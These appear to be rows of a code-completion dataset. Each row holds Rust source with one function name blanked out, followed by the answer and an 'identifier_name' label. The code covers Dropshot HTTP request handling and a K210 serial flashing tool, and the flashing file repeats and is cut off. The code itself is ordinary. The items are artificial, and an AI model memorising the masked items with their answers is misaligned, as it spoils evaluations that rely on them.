) -> Result<ServerRequestHandler<C>, GenericError> {
info!(server.log, "accepted connection"; "remote_addr" => %remote_addr);
Ok(ServerRequestHandler::new(server, remote_addr))
}
/**
* Initial entry point for handling a new request to the HTTP server. This is
* invoked by Hyper when a new request is received. This function returns a
* Result that either represents a valid HTTP response or an error (which will
* also get turned into an HTTP response).
*/
async fn http_request_handle_wrap<C: ServerContext>(
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
request: Request<Body>,
) -> Result<Response<Body>, GenericError> {
/*
* This extra level of indirection makes error handling much more
* straightforward, since the request handling code can simply return early
* with an error and we'll treat it like an error from any of the endpoints
* themselves.
*/
let request_id = generate_request_id();
let request_log = server.log.new(o!(
"remote_addr" => remote_addr,
"req_id" => request_id.clone(),
"method" => request.method().as_str().to_string(),
"uri" => format!("{}", request.uri()),
));
trace!(request_log, "incoming request");
probes::request_start!(|| {
let uri = request.uri();
crate::RequestInfo {
id: request_id.clone(),
local_addr: server.local_addr,
remote_addr,
method: request.method().to_string(),
path: uri.path().to_string(),
query: uri.query().map(|x| x.to_string()),
}
});
// Copy local address to report later during the finish probe, as the
// server is passed by value to the request handler function.
let local_addr = server.local_addr;
let maybe_response = http_request_handle(
server,
request,
&request_id,
request_log.new(o!()),
)
.await;
let response = match maybe_response {
Err(error) => {
let message_external = error.external_message.clone();
let message_internal = error.internal_message.clone();
let r = error.into_response(&request_id);
probes::request_finish!(|| {
crate::ResponseInfo {
id: request_id.clone(),
local_addr,
remote_addr,
status_code: r.status().as_u16(),
message: message_external.clone(),
}
});
/* TODO-debug: add request and response headers here */
info!(request_log, "request completed";
"response_code" => r.status().as_str().to_string(),
"error_message_internal" => message_internal,
"error_message_external" => message_external,
);
r
}
Ok(response) => {
/* TODO-debug: add request and response headers here */
info!(request_log, "request completed";
"response_code" => response.status().as_str().to_string()
);
probes::request_finish!(|| {
crate::ResponseInfo {
id: request_id.parse().unwrap(),
local_addr,
remote_addr,
status_code: response.status().as_u16(),
message: "".to_string(),
}
});
response
}
};
Ok(response)
}
async fn http_request_handle<C: ServerContext>(
server: Arc<DropshotState<C>>,
request: Request<Body>,
request_id: &str,
request_log: Logger,
) -> Result<Response<Body>, HttpError> {
/*
* TODO-hardening: is it correct to (and do we correctly) read the entire
* request body even if we decide it's too large and are going to send a 400
* response?
* TODO-hardening: add a request read timeout as well so that we don't allow
* this to take forever.
* TODO-correctness: Do we need to dump the body on errors?
*/
let method = request.method();
let uri = request.uri();
let lookup_result =
server.router.lookup_route(&method, uri.path().into())?;
let rqctx = RequestContext {
server: Arc::clone(&server),
request: Arc::new(Mutex::new(request)),
path_variables: lookup_result.variables,
request_id: request_id.to_string(),
log: request_log,
};
let mut response = lookup_result.handler.handle_request(rqctx).await?;
response.headers_mut().insert(
HEADER_REQUEST_ID,
http::header::HeaderValue::from_str(&request_id).unwrap(),
);
Ok(response)
}
/*
* This function should probably be parametrized by some name of the service
* that is expected to be unique within an organization. That way, it would be
* possible to determine from a given request id which service it was from.
* TODO should we encode more information here? Service? Instance? Time up to
* the hour?
*/
fn generate_request_id() -> String {
format!("{}", Uuid::new_v4())
}
/**
* ServerConnectionHandler is a Hyper Service implementation that forwards
* incoming connections to `http_connection_handle()`, providing the server
* state object as an additional argument. We could use `make_service_fn` here
* using a closure to capture the state object, but the resulting code is a bit
* simpler without it.
*/
pub struct ServerConnectionHandler<C: ServerContext> {
/** backend state that will be made available to the connection handler */
server: Arc<DropshotState<C>>,
}
impl<C: ServerContext> ServerConnectionHandler<C> {
/**
* Create an ServerConnectionHandler with the given state object that
* will be made available to the handler.
*/
fn new(server: Arc<DropshotState<C>>) -> Self {
ServerConnectionHandler {
server,
}
}
}
impl<T: ServerContext> Service<&AddrStream> for ServerConnectionHandler<T> {
/*
* Recall that a Service in this context is just something that takes a
* request (which could be anything) and produces a response (which could be
* anything). This being a connection handler, the request type is an
* AddrStream (which wraps a TCP connection) and the response type is
* another Service: one that accepts HTTP requests and produces HTTP
* responses.
*/
type Response = ServerRequestHandler<T>;
type Error = GenericError;
type Future = BoxFuture<'static, Result<Self::Response, Self::Error>>;
fn poll_ready(
&mut self,
_cx: &mut Context<'_>,
) -> Poll<Result<(), Self::Error>> {
// TODO is this right?
Poll::Ready(Ok(()))
}
fn call(&mut self, conn: &AddrStream) -> Self::Future {
/*
* We're given a borrowed reference to the AddrStream, but our interface
* is async (which is good, so that we can support time-consuming
* operations as part of receiving requests). To avoid having to ensure
* that conn's lifetime exceeds that of this async operation, we simply
* copy the only useful information out of the conn: the SocketAddr. We
* may want to create our own connection type to encapsulate the socket
* address and any other per-connection state that we want to keep.
*/
let server = Arc::clone(&self.server);
let remote_addr = conn.remote_addr();
Box::pin(http_connection_handle(server, remote_addr))
}
}
/**
* ServerRequestHandler is a Hyper Service implementation that forwards
* incoming requests to `http_request_handle_wrap()`, including as an argument
* the backend server state object. We could use `service_fn` here using a
* closure to capture the server state object, but the resulting code is a bit
* simpler without all that.
*/
pub struct ServerRequestHandler<C: ServerContext> {
/** backend state that will be made available to the request handler */
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
}
impl<C: ServerContext> ServerRequestHandler<C> {
/**
* Create a ServerRequestHandler object with the given state object that
* will be provided to the handler function.
*/
fn new(server: Arc<DropshotState<C>>, remote_addr: SocketAddr) -> Self {
ServerRequestHandler {
server,
remote_addr,
}
}
}
impl<C: ServerContext> Service<Request<Body>> for ServerRequestHandler<C> {
type Response = Response<Body>;
type Error = GenericError;
type Future = BoxFuture<'static, Result<Self::Response, Self::Error>>;
fn poll_ready(
&mut self,
_cx: &mut Context<'_>,
) -> Poll<Result<(), Self::Error>> {
// TODO is this right?
Poll::Ready(Ok(()))
}
fn call(&mut self, req: Request<Body>) -> Self::Future {
Box::pin(http_request_handle_wrap(
Arc::clone(&self.server),
self.remote_addr,
req,
))
}
}
#[cfg(test)]
mod test {
use super::*;
// Referring to the current crate as "dropshot::" instead of "crate::"
// helps the endpoint macro with module lookup.
use crate as dropshot;
use dropshot::endpoint;
use dropshot::test_util::ClientTestContext;
use dropshot::test_util::LogContext;
use dropshot::ConfigLogging;
use dropshot::ConfigLoggingLevel;
use dropshot::HttpError;
use dropshot::HttpResponseOk;
use dropshot::RequestContext;
use http::StatusCode;
use hyper::Method;
use futures::future::FusedFuture;
#[endpoint {
method = GET,
path = "/handler",
}]
async fn | (
_rqctx: Arc<RequestContext<i32>>,
) -> Result<HttpResponseOk<u64>, HttpError> {
Ok(HttpResponseOk(3))
}
struct TestConfig {
log_context: LogContext,
}
impl TestConfig {
fn log(&self) -> &slog::Logger {
&self.log_context.log
}
}
fn create_test_server() -> (HttpServer<i32>, TestConfig) {
let config_dropshot = ConfigDropshot::default();
let mut api = ApiDescription::new();
api.register(handler).unwrap();
let config_logging = ConfigLogging::StderrTerminal {
level: ConfigLoggingLevel::Warn,
};
let log_context = LogContext::new("test server", &config_logging);
let log = &log_context.log;
let server = HttpServerStarter::new(&config_dropshot, api, 0, log)
.unwrap()
.start();
(server, TestConfig {
log_context,
})
}
async fn single_client_request(addr: SocketAddr, log: &slog::Logger) {
let client_log = log.new(o!("http_client" => "dropshot test suite"));
let client_testctx = ClientTestContext::new(addr, client_log);
tokio::task::spawn(async move {
let response = client_testctx
.make_request(
Method::GET,
"/handler",
None as Option<()>,
StatusCode::OK,
)
.await;
assert!(response.is_ok());
})
.await
.expect("client request failed");
}
#[tokio::test]
async fn test_server_run_then_close() {
let (mut server, config) = create_test_server();
let client = single_client_request(server.local_addr, config.log());
futures::select! {
_ = client.fuse() => {},
r = server => panic!("Server unexpectedly terminated: {:?}", r),
}
assert!(!server.is_terminated());
assert!(server.close().await.is_ok());
}
#[tokio::test]
async fn test_drop_server_without_close_okay() {
let (server, _) = create_test_server();
std::mem::drop(server);
}
}
| handler | identifier_name |
kflash.rs | //! Kendryte K210 UART ISP, based on [`kflash.py`]
//! (https://github.com/sipeed/kflash.py)
use anyhow::Result;
use crc::{crc32, Hasher32};
use std::{future::Future, marker::Unpin, path::Path, pin::Pin, sync::Mutex, time::Duration};
use tokio::{
io::{AsyncBufRead, AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt, BufStream},
task::spawn_blocking,
time::delay_for,
};
use tokio_serial::{Serial, SerialPort, SerialPortSettings};
use super::{
demux::Demux,
serial::{choose_serial, ChooseSerialError},
slip, Arch, DebugProbe, DynAsyncRead, Target,
};
use crate::utils::retry_on_fail;
/// Maix development boards based on Kendryte K210, download by UART ISP
pub struct Maix;
impl Target for Maix {
fn target_arch(&self) -> Arch {
Arch::RV64GC
}
fn cargo_features(&self) -> &[&str] {
&[
"output-k210-uart",
"interrupt-k210",
"board-maix",
"r3_port_riscv/maintain-pie",
]
}
fn memory_layout_script(&self) -> String {
r#"
MEMORY
{
RAM : ORIGIN = 0x80000000, LENGTH = 6M
}
REGION_ALIAS("REGION_TEXT", RAM);
REGION_ALIAS("REGION_RODATA", RAM);
REGION_ALIAS("REGION_DATA", RAM);
REGION_ALIAS("REGION_BSS", RAM);
REGION_ALIAS("REGION_HEAP", RAM);
REGION_ALIAS("REGION_STACK", RAM);
_hart_stack_size = 1K;
"#
.to_owned()
}
fn connect(&self) -> Pin<Box<dyn Future<Output = Result<Box<dyn DebugProbe>>>>> {
Box::pin(async { KflashDebugProbe::new().await.map(|x| Box::new(x) as _) })
}
}
#[derive(thiserror::Error, Debug)]
enum OpenError {
#[error("Error while choosing the serial port to use")]
ChooseSerial(#[source] ChooseSerialError),
#[error("Error while opening the serial port '{0}'")]
Serial(String, #[source] anyhow::Error),
#[error(
"Please provide a board name by `MAIX_BOARD` environment variable. \
Valid values: {0:?}"
)]
NoBoardName(Vec<&'static str>),
#[error("Unknown board name: '{0}'")]
UnknownBoardName(String),
#[error("Communication error")]
Communication(#[source] CommunicationError),
}
#[derive(thiserror::Error, Debug)]
enum CommunicationError {
#[error("Error while controlling the serial port")]
Serial(#[source] tokio_serial::Error),
#[error("Error while reading from or writing to the serial port")]
SerialIo(
#[source]
#[from]
std::io::Error,
),
#[error("Protocol error")]
FrameExtractor(#[source] slip::FrameExtractorProtocolError),
#[error("Timeout while waiting for a response")]
Timeout,
#[error("Received an ISP error response {0:?}.")]
RemoteError(IspReasonCode),
#[error("Received a malformed response.")]
MalformedResponse,
}
impl From<slip::FrameExtractorError> for CommunicationError {
fn from(e: slip::FrameExtractorError) -> Self {
match e {
slip::FrameExtractorError::Io(e) => Self::SerialIo(e),
slip::FrameExtractorError::Protocol(e) => Self::FrameExtractor(e),
}
}
}
const COMM_TIMEOUT: Duration = Duration::from_secs(3);
struct KflashDebugProbe {
serial: BufStream<Serial>,
isp_boot_cmds: &'static [BootCmd],
}
impl KflashDebugProbe {
async fn new() -> anyhow::Result<Self> {
// Choose the ISP sequence specific to a target board
let board = match std::env::var("MAIX_BOARD") {
Ok(x) => Ok(x),
Err(std::env::VarError::NotPresent) => {
let valid_board_names = ISP_BOOT_CMDS.iter().map(|x| x.0).collect();
Err(OpenError::NoBoardName(valid_board_names))
}
Err(std::env::VarError::NotUnicode(_)) => Err(OpenError::UnknownBoardName(
"<invalid UTF-8 string>".to_owned(),
)),
}?;
let isp_boot_cmds = ISP_BOOT_CMDS
.iter()
.find(|x| x.0 == board)
.ok_or_else(|| OpenError::UnknownBoardName(board.clone()))?
.1;
let serial = spawn_blocking(|| {
let dev = choose_serial().map_err(OpenError::ChooseSerial)?;
Serial::from_path(
&dev,
&SerialPortSettings {
baud_rate: 115200,
timeout: std::time::Duration::from_secs(60),
..Default::default()
},
)
.map_err(|e| OpenError::Serial(dev, e.into()))
})
.await
.unwrap()?;
let serial = BufStream::new(serial);
// Pu the device into ISP mode. Fail-fast if this was unsuccessful.
let serial_m = Mutex::new(serial);
retry_on_fail(|| async {
maix_enter_isp_mode(&mut serial_m.try_lock().unwrap(), isp_boot_cmds).await
})
.await
.map_err(OpenError::Communication)?;
let serial = serial_m.into_inner().unwrap();
let probe = Self {
serial,
isp_boot_cmds,
};
Ok(probe)
}
}
#[derive(thiserror::Error, Debug)]
enum RunError {
#[error("{0}")]
ProcessElf(
#[source]
#[from]
ProcessElfError,
),
#[error("{0}")]
Communication(
#[source]
#[from]
CommunicationError,
),
}
impl DebugProbe for KflashDebugProbe {
fn program_and_get_output(
&mut self,
exe: &Path,
) -> Pin<Box<dyn Future<Output = Result<DynAsyncRead<'_>>> + '_>> {
let exe = exe.to_owned();
Box::pin(async move {
// Extract loadable sections
let LoadableCode { regions, entry } =
read_elf(&exe).await.map_err(RunError::ProcessElf)?;
// Put the device into ISP mode.
let serial_m = Mutex::new(&mut self.serial);
let isp_boot_cmds = self.isp_boot_cmds;
retry_on_fail(|| async {
maix_enter_isp_mode(*serial_m.try_lock().unwrap(), isp_boot_cmds).await
})
.await
.map_err(RunError::Communication)?;
drop(serial_m);
// Program the executable image
for (i, region) in regions.iter().enumerate() {
log::debug!("Programming the region {} of {}", i + 1, regions.len());
if region.1 < 0x80000000 {
log::debug!(
"Starting address (0x{:x}) is out of range, ignoreing",
region.1
);
continue;
}
flash_dataframe(&mut self.serial, ®ion.0, region.1 as u32).await?;
}
// Boot the program
log::debug!("Booting from 0x{:08x}", entry);
boot(&mut self.serial, entry as u32).await?;
// Now, pass the channel to the caller
Ok(Box::pin(Demux::new(&mut self.serial)) as _)
})
}
}
#[derive(Debug)]
enum BootCmd {
Dtr(bool),
Rts(bool),
Delay,
}
const ISP_BOOT_CMDS: &[(&str, &[BootCmd])] = &[
// `reset_to_isp_kd233`
(
"kd233",
&[
BootCmd::Dtr(false),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Dtr(true),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Rts(true),
BootCmd::Dtr(false),
BootCmd::Delay,
],
),
// `reset_to_isp_dan`
(
"dan",
&[
BootCmd::Dtr(false),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Dtr(false),
BootCmd::Rts(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
],
),
// `reset_to_isp_goD`
(
"god",
&[
BootCmd::Dtr(true),
BootCmd::Rts(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
],
),
// `reset_to_boot_maixgo`
(
"maixgo",
&[
BootCmd::Dtr(false),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(false),
BootCmd::Delay,
],
),
];
async fn maix_enter_isp_mode(
serial: &mut BufStream<Serial>,
cmds: &[BootCmd],
) -> Result<(), CommunicationError> {
let t = Duration::from_millis(100);
let serial_inner = serial.get_mut();
log::debug!("Trying to put the chip into ISP mode");
for cmd in cmds {
log::trace!("Performing the command {:?}", cmd);
match cmd {
BootCmd::Dtr(b) => {
serial_inner
.write_data_terminal_ready(*b)
.map_err(CommunicationError::Serial)?;
}
BootCmd::Rts(b) => {
serial_inner
.write_request_to_send(*b)
.map_err(CommunicationError::Serial)?;
}
BootCmd::Delay => {
delay_for(t).await;
}
}
}
// Clear any stale data in the receive buffer
read_to_end_and_discard_for_some_time(serial).await?;
// Send a greeting command
log::trace!("Sending a greeting command");
slip::write_frame(
serial,
&[
0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
],
)
.await
.map_err(CommunicationError::SerialIo)?;
serial.flush().await.map_err(CommunicationError::SerialIo)?;
// Wait for a response
log::trace!("Waiting for a response");
match tokio::time::timeout(COMM_TIMEOUT, slip::read_frame(serial)).await {
Ok(Ok(frame)) => {
log::trace!(
"Received a packet: {:?} The chip probably successfully entered ISP mode",
frame
);
}
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(CommunicationError::Timeout),
}
Ok(())
}
async fn flash_dataframe(
serial: &mut (impl AsyncBufRead + AsyncWrite + Unpin),
data: &[u8],
address: u32,
) -> Result<(), CommunicationError> {
const CHUNK_LEN: usize = 1024;
let mut buffer = [0u8; 8 + CHUNK_LEN];
buffer[0] = 0xc3;
for (i, chunk) in data.chunks(CHUNK_LEN).enumerate() {
let chunk_addr = address + (i * CHUNK_LEN) as u32;
log::debug!(
"Programming the range {:?}/{:?} at 0x{:x} ({}%)",
(i * CHUNK_LEN)..(i * CHUNK_LEN + chunk.len()),
data.len(),
chunk_addr,
i * CHUNK_LEN * 100 / data.len(),
);
let mut error = None;
for _ in 0..16 {
buffer[0..][..4].copy_from_slice(&chunk_addr.to_le_bytes());
buffer[4..][..4].copy_from_slice(&(chunk.len() as u32).to_le_bytes());
buffer[8..][..chunk.len()].copy_from_slice(chunk);
// Send a frame
log::trace!("Sending a write command");
write_request(serial, 0xc3, &buffer[..8 + chunk.len()])
.await
.map_err(CommunicationError::SerialIo)?;
serial.flush().await.map_err(CommunicationError::SerialIo)?;
// Wait for a response
let response = match tokio::time::timeout(COMM_TIMEOUT, slip::read_frame(serial)).await
{
Ok(Ok(frame)) => frame,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(CommunicationError::Timeout),
};
let reason: Option<IspReasonCode> = response.get(1).cloned().map(Into::into);
match reason {
Some(IspReasonCode::Ok) => {
error = None;
break;
}
Some(x) => {
error = Some(CommunicationError::RemoteError(x));
}
None => {
error = Some(CommunicationError::MalformedResponse);
}
}
log::trace!("Got {:?}. Retrying...", reason);
}
if let Some(error) = error {
return Err(error);
}
}
Ok(())
}
async fn boot(
serial: &mut (impl AsyncWrite + Unpin),
address: u32,
) -> Result<(), CommunicationError> {
let mut buffer = [0u8; 8];
buffer[..4].copy_from_slice(&address.to_le_bytes());
// Send a frame
log::trace!("Sending a boot command");
write_request(serial, 0xc5, &buffer)
.await
.map_err(CommunicationError::SerialIo)?;
serial.flush().await.map_err(CommunicationError::SerialIo)?;
Ok(())
}
async fn write_request(
serial: &mut (impl AsyncWrite + Unpin),
cmd: u8,
req_payload: &[u8],
) -> std::io::Result<()> {
let mut frame_payload = vec![0u8; req_payload.len() + 8];
frame_payload[0] = cmd;
frame_payload[8..].copy_from_slice(req_payload);
let mut digest = crc32::Digest::new_with_initial(crc32::IEEE, 0);
digest.write(&req_payload);
let crc = digest.sum32();
frame_payload[4..][..4].copy_from_slice(&crc.to_le_bytes());
slip::write_frame(serial, &frame_payload).await
}
#[derive(Debug, Copy, Clone)]
enum IspReasonCode {
Default,
Ok,
BadDataLen,
BadDataChecksum,
InvalidCommand,
BadInitialization,
BadExec,
Unknown(u8),
}
impl From<u8> for IspReasonCode {
fn from(x: u8) -> Self {
match x {
0x00 => Self::Default,
0xe0 => Self::Ok,
0xe1 => Self::BadDataLen,
0xe2 => Self::BadDataChecksum,
0xe3 => Self::InvalidCommand,
0xe4 => Self::BadInitialization,
0xe5 => Self::BadExec,
x => Self::Unknown(x),
}
}
}
async fn read_to_end_and_discard_for_some_time(
reader: &mut (impl AsyncRead + Unpin),
) -> std::io::Result<()> {
log::trace!("Starting discarding stale data in the receive buffer");
match tokio::time::timeout(Duration::from_millis(100), read_to_end_and_discard(reader)).await {
// FIXME: This match arm is really unreachable because `Infallible` is
// uninhabited. Waiting for `exhaustive_patterns` feature
// <https://github.com/rust-lang/rust/issues/51085>
Ok(Ok(_)) => unreachable!(),
Ok(Err(e)) => Err(e),
Err(_) => Ok(()),
}
}
async fn | (
reader: &mut (impl AsyncRead + Unpin),
) -> std::io::Result<std::convert::Infallible> {
let mut buf = [0u8; 256];
loop {
let num_bytes = reader.read(&mut buf).await?;
log::trace!("Discarding {} byte(s)", num_bytes);
}
}
#[derive(thiserror::Error, Debug)]
enum ProcessElfError {
#[error("Couldn't read the ELF file: {0}")]
Read(#[source] std::io::Error),
#[error("Couldn't parse the ELF file: {0}")]
Parse(#[source] goblin::error::Error),
}
struct LoadableCode {
/// The regions to be loaded onto the target.
regions: Vec<(Vec<u8>, u64)>,
/// The entry point.
entry: u64,
}
/// Read the specified ELF file and return regions to be loaded onto the target.
async fn read_elf(exe: &Path) -> Result<LoadableCode, ProcessElfError> {
let elf_bytes = tokio::fs::read(&exe).await.map_err(ProcessElfError::Read)?;
let elf = goblin::elf::Elf::parse(&elf_bytes).map_err(ProcessElfError::Parse)?;
let regions = elf
.program_headers
.iter()
.filter_map(|ph| {
if ph.p_type == goblin::elf32::program_header::PT_LOAD && ph.p_filesz > 0 {
Some((
elf_bytes[ph.p_offset as usize..][..ph.p_filesz as usize].to_vec(),
ph.p_paddr,
))
} else {
None
}
})
.collect();
Ok(LoadableCode {
regions,
entry: elf.entry,
})
}
| read_to_end_and_discard | identifier_name |
kflash.rs | //! Kendryte K210 UART ISP, based on [`kflash.py`]
//! (https://github.com/sipeed/kflash.py)
use anyhow::Result;
use crc::{crc32, Hasher32};
use std::{future::Future, marker::Unpin, path::Path, pin::Pin, sync::Mutex, time::Duration};
use tokio::{
io::{AsyncBufRead, AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt, BufStream},
task::spawn_blocking,
time::delay_for,
};
use tokio_serial::{Serial, SerialPort, SerialPortSettings};
use super::{
demux::Demux,
serial::{choose_serial, ChooseSerialError},
slip, Arch, DebugProbe, DynAsyncRead, Target,
};
use crate::utils::retry_on_fail;
/// Maix development boards based on Kendryte K210, download by UART ISP
pub struct Maix;
impl Target for Maix {
fn target_arch(&self) -> Arch {
Arch::RV64GC
}
fn cargo_features(&self) -> &[&str] {
&[
"output-k210-uart",
"interrupt-k210",
"board-maix",
"r3_port_riscv/maintain-pie",
]
}
fn memory_layout_script(&self) -> String {
r#"
MEMORY
{
RAM : ORIGIN = 0x80000000, LENGTH = 6M
}
REGION_ALIAS("REGION_TEXT", RAM);
REGION_ALIAS("REGION_RODATA", RAM);
REGION_ALIAS("REGION_DATA", RAM);
REGION_ALIAS("REGION_BSS", RAM);
REGION_ALIAS("REGION_HEAP", RAM);
REGION_ALIAS("REGION_STACK", RAM);
_hart_stack_size = 1K;
"#
.to_owned()
}
fn connect(&self) -> Pin<Box<dyn Future<Output = Result<Box<dyn DebugProbe>>>>> {
Box::pin(async { KflashDebugProbe::new().await.map(|x| Box::new(x) as _) })
}
}
#[derive(thiserror::Error, Debug)]
enum OpenError {
#[error("Error while choosing the serial port to use")]
ChooseSerial(#[source] ChooseSerialError),
#[error("Error while opening the serial port '{0}'")]
Serial(String, #[source] anyhow::Error),
#[error(
"Please provide a board name by `MAIX_BOARD` environment variable. \
Valid values: {0:?}"
)]
NoBoardName(Vec<&'static str>),
#[error("Unknown board name: '{0}'")]
UnknownBoardName(String),
#[error("Communication error")]
Communication(#[source] CommunicationError),
}
#[derive(thiserror::Error, Debug)]
enum CommunicationError {
#[error("Error while controlling the serial port")]
Serial(#[source] tokio_serial::Error),
#[error("Error while reading from or writing to the serial port")]
SerialIo(
#[source]
#[from]
std::io::Error,
),
#[error("Protocol error")]
FrameExtractor(#[source] slip::FrameExtractorProtocolError),
#[error("Timeout while waiting for a response")]
Timeout,
#[error("Received an ISP error response {0:?}.")]
RemoteError(IspReasonCode),
#[error("Received a malformed response.")]
MalformedResponse,
}
impl From<slip::FrameExtractorError> for CommunicationError {
fn from(e: slip::FrameExtractorError) -> Self {
match e {
slip::FrameExtractorError::Io(e) => Self::SerialIo(e),
slip::FrameExtractorError::Protocol(e) => Self::FrameExtractor(e),
}
}
}
const COMM_TIMEOUT: Duration = Duration::from_secs(3);
struct KflashDebugProbe {
serial: BufStream<Serial>,
isp_boot_cmds: &'static [BootCmd],
}
impl KflashDebugProbe {
async fn new() -> anyhow::Result<Self> {
// Choose the ISP sequence specific to a target board
let board = match std::env::var("MAIX_BOARD") {
Ok(x) => Ok(x),
Err(std::env::VarError::NotPresent) => {
let valid_board_names = ISP_BOOT_CMDS.iter().map(|x| x.0).collect();
Err(OpenError::NoBoardName(valid_board_names))
}
Err(std::env::VarError::NotUnicode(_)) => Err(OpenError::UnknownBoardName(
"<invalid UTF-8 string>".to_owned(),
)),
}?;
let isp_boot_cmds = ISP_BOOT_CMDS
.iter()
.find(|x| x.0 == board)
.ok_or_else(|| OpenError::UnknownBoardName(board.clone()))?
.1;
let serial = spawn_blocking(|| {
let dev = choose_serial().map_err(OpenError::ChooseSerial)?;
Serial::from_path(
&dev,
&SerialPortSettings {
baud_rate: 115200,
timeout: std::time::Duration::from_secs(60),
..Default::default()
},
)
.map_err(|e| OpenError::Serial(dev, e.into()))
})
.await
.unwrap()?;
let serial = BufStream::new(serial);
// Pu the device into ISP mode. Fail-fast if this was unsuccessful.
let serial_m = Mutex::new(serial);
retry_on_fail(|| async {
maix_enter_isp_mode(&mut serial_m.try_lock().unwrap(), isp_boot_cmds).await
})
.await
.map_err(OpenError::Communication)?;
let serial = serial_m.into_inner().unwrap();
let probe = Self {
serial,
isp_boot_cmds,
};
Ok(probe)
}
}
#[derive(thiserror::Error, Debug)]
enum RunError {
#[error("{0}")]
ProcessElf(
#[source]
#[from]
ProcessElfError,
),
#[error("{0}")]
Communication(
#[source]
#[from]
CommunicationError,
),
}
impl DebugProbe for KflashDebugProbe {
fn program_and_get_output(
&mut self,
exe: &Path,
) -> Pin<Box<dyn Future<Output = Result<DynAsyncRead<'_>>> + '_>> {
let exe = exe.to_owned();
Box::pin(async move {
// Extract loadable sections
let LoadableCode { regions, entry } =
read_elf(&exe).await.map_err(RunError::ProcessElf)?;
// Put the device into ISP mode.
let serial_m = Mutex::new(&mut self.serial);
let isp_boot_cmds = self.isp_boot_cmds;
retry_on_fail(|| async {
maix_enter_isp_mode(*serial_m.try_lock().unwrap(), isp_boot_cmds).await
})
.await
.map_err(RunError::Communication)?;
drop(serial_m);
// Program the executable image
for (i, region) in regions.iter().enumerate() {
log::debug!("Programming the region {} of {}", i + 1, regions.len());
if region.1 < 0x80000000 {
log::debug!(
"Starting address (0x{:x}) is out of range, ignoreing",
region.1
);
continue;
}
flash_dataframe(&mut self.serial, ®ion.0, region.1 as u32).await?;
}
// Boot the program
log::debug!("Booting from 0x{:08x}", entry);
boot(&mut self.serial, entry as u32).await?;
// Now, pass the channel to the caller
Ok(Box::pin(Demux::new(&mut self.serial)) as _)
})
}
}
#[derive(Debug)]
enum BootCmd {
Dtr(bool),
Rts(bool),
Delay,
}
const ISP_BOOT_CMDS: &[(&str, &[BootCmd])] = &[
// `reset_to_isp_kd233`
(
"kd233",
&[
BootCmd::Dtr(false),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Dtr(true),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Rts(true),
BootCmd::Dtr(false),
BootCmd::Delay,
],
),
// `reset_to_isp_dan`
(
"dan",
&[
BootCmd::Dtr(false),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Dtr(false),
BootCmd::Rts(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
],
),
// `reset_to_isp_goD`
(
"god",
&[
BootCmd::Dtr(true),
BootCmd::Rts(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
],
),
// `reset_to_boot_maixgo`
(
"maixgo",
&[
BootCmd::Dtr(false),
BootCmd::Rts(false),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(true),
BootCmd::Delay,
BootCmd::Rts(false),
BootCmd::Dtr(false),
BootCmd::Delay,
],
),
];
async fn maix_enter_isp_mode(
serial: &mut BufStream<Serial>,
cmds: &[BootCmd],
) -> Result<(), CommunicationError> {
let t = Duration::from_millis(100);
let serial_inner = serial.get_mut();
log::debug!("Trying to put the chip into ISP mode");
for cmd in cmds {
log::trace!("Performing the command {:?}", cmd);
match cmd {
BootCmd::Dtr(b) => {
serial_inner
.write_data_terminal_ready(*b)
.map_err(CommunicationError::Serial)?;
}
BootCmd::Rts(b) => {
serial_inner
.write_request_to_send(*b)
.map_err(CommunicationError::Serial)?;
}
BootCmd::Delay => {
delay_for(t).await;
}
}
}
// Clear any stale data in the receive buffer
read_to_end_and_discard_for_some_time(serial).await?;
// Send a greeting command
log::trace!("Sending a greeting command");
slip::write_frame(
serial,
&[
0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
],
)
.await
.map_err(CommunicationError::SerialIo)?;
serial.flush().await.map_err(CommunicationError::SerialIo)?;
// Wait for a response
log::trace!("Waiting for a response");
match tokio::time::timeout(COMM_TIMEOUT, slip::read_frame(serial)).await {
Ok(Ok(frame)) => {
log::trace!(
"Received a packet: {:?} The chip probably successfully entered ISP mode",
frame
);
}
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(CommunicationError::Timeout),
}
Ok(())
}
async fn flash_dataframe(
serial: &mut (impl AsyncBufRead + AsyncWrite + Unpin),
data: &[u8],
address: u32,
) -> Result<(), CommunicationError> {
const CHUNK_LEN: usize = 1024;
let mut buffer = [0u8; 8 + CHUNK_LEN];
buffer[0] = 0xc3;
for (i, chunk) in data.chunks(CHUNK_LEN).enumerate() {
let chunk_addr = address + (i * CHUNK_LEN) as u32;
log::debug!(
"Programming the range {:?}/{:?} at 0x{:x} ({}%)",
(i * CHUNK_LEN)..(i * CHUNK_LEN + chunk.len()),
data.len(),
chunk_addr,
i * CHUNK_LEN * 100 / data.len(),
);
let mut error = None;
for _ in 0..16 {
buffer[0..][..4].copy_from_slice(&chunk_addr.to_le_bytes());
buffer[4..][..4].copy_from_slice(&(chunk.len() as u32).to_le_bytes());
buffer[8..][..chunk.len()].copy_from_slice(chunk);
// Send a frame
